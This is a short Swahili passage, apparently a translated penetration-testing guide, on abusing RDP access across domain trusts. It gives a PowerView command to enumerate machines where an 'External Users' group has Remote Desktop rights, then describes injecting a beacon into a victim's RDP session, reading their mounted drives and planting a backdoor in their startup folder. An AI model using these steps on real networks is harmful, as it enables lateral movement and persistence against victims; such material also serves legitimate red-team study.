Ikiwa kikundi cha nje kina ufikiaji wa RDP kwa kompyuta yoyote katika eneo la sasa, mshambuliaji anaweza kuharibu kompyuta hiyo na kumsubiri.
Mara tu mtumiaji huyo anapofikia kupitia RDP, mshambuliaji anaweza kuhamasisha kwenye kikao cha watumiaji hao na kutumia ruhusa zake katika eneo la nje.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

Ikiwa mtumiaji anapata RDP kwenye mashine ambapo mshambuliaji anangojea yeye, mshambuliaji ataweza kuingiza beacon katika kikao cha RDP cha mtumiaji na ikiwa mhasiriwa ameunganisha diski yake wakati wa kufikia kupitia RDP, mshambuliaji anaweza kuipata.
Katika kesi hii unaweza tu kudhoofishakompyuta ya awali ya wahasiriwa kwa kuandika backdoor katika folda ya kuanzisha.
